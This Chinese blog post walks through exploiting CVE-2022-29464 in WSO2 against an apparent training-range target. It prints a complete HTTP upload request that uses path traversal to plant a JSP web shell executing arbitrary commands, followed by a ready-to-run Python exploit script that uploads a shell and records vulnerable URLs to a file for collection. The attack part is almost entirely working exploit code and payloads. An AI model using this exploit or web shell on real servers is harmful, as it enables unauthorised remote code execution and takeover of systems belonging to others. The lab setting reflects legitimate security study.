首页 > 其他分享 >WSO2文件上传漏洞(CVE-2022-29464)

WSO2文件上传漏洞(CVE-2022-29464)

时间:2023-05-09 22:56:10浏览次数:32  
标签:29464 .. authenticationendpoint url WSO2 jsp 2022

WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

访问春秋云镜靶场

 访问地址并抓包改包为以下poc:

POST /fileupload/toolsAny HTTP/1.1
Host: eci-2ze2knq7i9q2kvy9rhta.cloudeci1.ichunqiu.com:9445
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

  

/fileupload/toolsAny是一个文件上传接口,Content-Type指定为multipart/form-data并在请求体中填入想要上传的文件内容。
文件名指定为name="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"
文件内容为:构造一个表单,文本框输入要执行的命令,然后提交。jsp代码为:获取命令内容,构造Runtime.getRuntime()命令执行器,传入命令,读取命令执行结果并显示在页面上。

 上传成功后访问http://eci-2ze2knq7i9q2kvy9rhta.cloudeci1.ichunqiu.com:9445/authenticationendpoint/wavesky.jsp:

 

 

 

 

 也可以直接使用脚本:

# -*-coding:GBK -*-
import requests
shell= '''<%@ page import="java.util.*,java.io.*"%>
<html>
<body>
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
        if (request.getParameter("cmd") != null ) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Runtime rt = Runtime.getRuntime();
            Process p = rt.exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
            }
        }
    %>
    </pre>
</body>
</html>'''
public_key = '''KEY'''
def CVE_2022_29464_exp(url):
    try:
        resp = requests.post(f"{url}/fileupload/toolsAny", timeout=3, verify=False, files={"../../../../repository/deployment/server/webapps/authenticationendpoint/capoeira": public_key})
        resp = requests.post(f"{url}/fileupload/toolsAny", timeout=3, verify=False, files={"../../../../repository/deployment/server/webapps/authenticationendpoint/capoeira.jsp": shell})
        if resp.status_code == 200 and len(resp.content) > 0 and 'java' not in resp.text:
            print(f"【!!!!!!】存在CVE_2022_29464漏洞,shell地址为:{url}/authenticationendpoint/capoeira.jsp\n")
            with open("存在WSO2远程命令执行漏洞的url.txt","a+") as f:
                f.write(url + "/authenticationendpoint/capoeira.jsp\n")
            f.close()
        else:
            print("【×】不存在CVE_2022_29464漏洞:" + url + "\n")
    except Exception as e:
        pass

if __name__ == "__main__":
    url = "http://eci-2ze2knq7i9q2kvy9rhta.cloudeci1.ichunqiu.com:9445/"
    CVE_2022_29464_exp(url)

 

 

 

标签:29464,..,authenticationendpoint,url,WSO2,jsp,2022
From: https://www.cnblogs.com/a-deng/p/17381518.html

相关文章

  • [HUBUCTF 2022 新生赛]simple_RE
    查壳:64位,进IDA:看正确输出:有要比较的两个字符a5mc58bphliax7j和Buf1,可以知道目的字符串是a5mc58bphliax7j,跟进看看:再看看Buf1,可以看见它是根据我们输入的字符进行sub_401570方法后得到的,那么我们跟进:熟悉的配方,base64加密格式,看看是否为标码:很明显,不是,而且不是替换,而是......
  • Visual Studio 2022 设置 IIS Express 运行在 32 位模式
    当:1、在VisualStudio2022中开发需要访问Access数据库的网站项目时,遇到错误:未在本地计算机上注册“Microsoft.Jet.OLEDB.4.0”提供程序。2、在VisualStudio2022中开发需要访问SQLite数据库的网站项目时,遇到错误:未能加载文件或程序集“System.Data.SQLite.DLL”或它的......
  • .Net Core 2. VS2022 + Core6.0 + Razor 添加模型
    这里基本是按照微软的文档示例整理的 添加数据模型在项目中新增Models文件夹,用于存放数据模型 新增movie类usingSystem.ComponentModel.DataAnnotations;namespaceStandardCoreStudy.Models{publicclassMovie{///<summary>///ID......
  • [NISACTF 2022]sign-ezc++
    查壳:64位,进IDA:进来后发现c++经常用的std,(当然用c++的也有可能不经常见),跟进伪代码,找输出:有个判断跟进Human::~Human看看:调用了一个方法,字符串又指向了name,跟进方法:off_4863D0:发现存了一个基地址:跟进基地址:_ZN5Human9give_flagEv:进入伪代码:找到我们要拿的东西了,而且自......
  • [NISACTF 2022]string
    查壳:64位:进IDA:进来就给flag:跟进:一堆东西,秉承着赶时间的优良作风,只看有用的输出:挺简单一个随机数问题,找种子就行:上脚本:intmain(){srand(10086);for(inti=1;i<=13;i++){intv4=rand();cout<<v4%8+1;}return0;......
  • [NSSCTF 2022 Spring Recruit]easy C
    C的源代码,查个壳:一般都是64位,直接双击吧,换个界面,成天看IDA也不好:也是简单的一个异或加密,上个脚本就好了,不多说啥:Des='d`vxbQd'flag=''foriinDes:flag+=chr((ord(i)^2)-1)print(flag)拿到NSSCTF......
  • 2021-2022年度国际大学生程序设计竞赛第10届陕西省程序设计竞赛(正式赛)H-Cute Rabbit
    官方题解:https://blog.csdn.net/qq_62464995/article/details/127493921题目大意给出数组a[i],将a分成两个数组x和y,使得\(\forallx[i]\%y[j]\)都相等(\(|x|,|y|>0\))构造一组\(|y|\)最大的方案n<=1e5,1<=ai<=1e6题解神必结论题先假设a不是全部相等结论1:最小值一定只能全在x......
  • NOI2022 模拟赛合集【kel.ac.cn】
    RoundXLIX开场看B想了3h假回去想A1h切。A.守序划分问题容易想到一个必要条件,对于任意集合\(S\),需要满足\(\max_{i\inS}A_i>\min_{i\notinS}A_i\)。然后用你的大脑构造一下发现这东西也充分。于是思考如何计数,即不能将数列割裂成两个部分。于是考虑动态规划。设\(f[i,j]......
  • 洛谷 P8492 - [IOI2022] 无线电信号塔
    想到将最优化问题转化为数点问题的一步了,但是因为转化的姿势不太好导致我的数点不太能用特别简洁的数据结构维护,最后只好看题解(考虑先解决单组询问的问题,对于每个点\(i\),我们找出它左边最近的\(h_l\leh_i-D\)的点\(l\),和它右边最近的\(h_r\leh_i-D\)的点\(r\),然后新建一......
  • 2021-2022年度国际大学生程序设计竞赛第10届陕西省程序设计竞赛(正式赛)A-Tree
    官方题解:https://blog.csdn.net/qq_62464995/article/details/127493921题目大意给出一棵边权为1的树,构造排列p,使得①p[1]=1②dis(p[i],p[i+1])<=k题解神必防ak题当k=1时,显然只能是从1开始的一条链当k>=3时,一定有解,考虑构造:把树上的点按层黑白黑白染色,dfs遍历整棵树,在第......